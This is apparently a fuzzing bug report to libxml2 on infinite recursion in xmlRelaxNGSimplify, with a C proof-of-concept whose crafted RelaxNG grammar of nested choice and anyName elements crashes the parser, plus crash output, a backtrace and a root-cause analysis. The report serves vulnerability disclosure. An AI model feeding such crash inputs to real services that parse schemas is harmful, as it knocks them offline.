Stack overflow in xmlRelaxNGSimplify

Our fuzzer found stack overflow / infinite loop in xmlRelaxNGSimplify in the current master(650f842d).

PoC is here.

#include <libxml/parser.h>
#include <libxml/relaxng.h>

static const char data[] =
    "<grammar xmlns=\"http://relaxng.org/ns/structure/1.0\">\n"
    "  <start>\n"
    "    <element>\n"
    "      <choice>\n"
    "        <anyName/>\n"
    "        <choice>\n"
    "           <anyName/>\n"
    "        </choice>\n"
    "      </choice>\n"
    "    <empty/>\n"
    "    </element>\n"
    "  </start>\n"
    "</grammar>";

int main(int argc, char **argv)
{
    xmlRelaxNGParserCtxtPtr pctxt;
    xmlRelaxNGPtr rng = NULL;

    xmlInitParser();

    pctxt = xmlRelaxNGNewMemParserCtxt(data, sizeof(data) - 1);
    rng = xmlRelaxNGParse(pctxt);

    xmlRelaxNGFreeParserCtxt(pctxt);
    if (rng != NULL)
        xmlRelaxNGFree(rng);

    xmlResetLastError();

    return 0;
}

Output:

% ./poc
[1]    10418 segmentation fault (core dumped)  ./poc

Backtrace:

#0  0x00007ffff7f1c4fc in xmlRelaxNGSimplify (ctxt=ctxt@entry=0x4052a0, cur=0x408e10, parent=parent@entry=0x408f10) at relaxng.c:5932
#1  0x00007ffff7f1c633 in xmlRelaxNGSimplify (ctxt=ctxt@entry=0x4052a0, cur=0x408f10, parent=parent@entry=0x408f10) at relaxng.c:5979
#2  0x00007ffff7f1c633 in xmlRelaxNGSimplify (ctxt=ctxt@entry=0x4052a0, cur=0x408f10, parent=parent@entry=0x408f10) at relaxng.c:5979
#3  0x00007ffff7f1c633 in xmlRelaxNGSimplify (ctxt=ctxt@entry=0x4052a0, cur=0x408f10, parent=parent@entry=0x408f10) at relaxng.c:5979
#4  0x00007ffff7f1c633 in xmlRelaxNGSimplify (ctxt=ctxt@entry=0x4052a0, cur=0x408f10, parent=parent@entry=0x408f10) at relaxng.c:5979
...

The cause is the following code.

https://gitlab.gnome.org/GNOME/libxml2/-/blob/650f842dbe131496a28284a26ed0646cd7e4af80/relaxng.c#L5271-5282

tmp = xmlRelaxNGParseNameClass(ctxt, child, ret); in line 5272 returns ret instead of a new definition if IS_RELAXNG(child, "choice") and ret->type == XML_RELAXNG_CHOICE. If the previous sibling (last) exists, last->next becomes ret which is the parent of last. This child-to-parent link causes infinite recursion or infinite loop in xmlRelaxNGSimplify. (cur -> cur->nameClass -> cur->NameClass->next == cur -> ...)

Ricerca Security, Inc.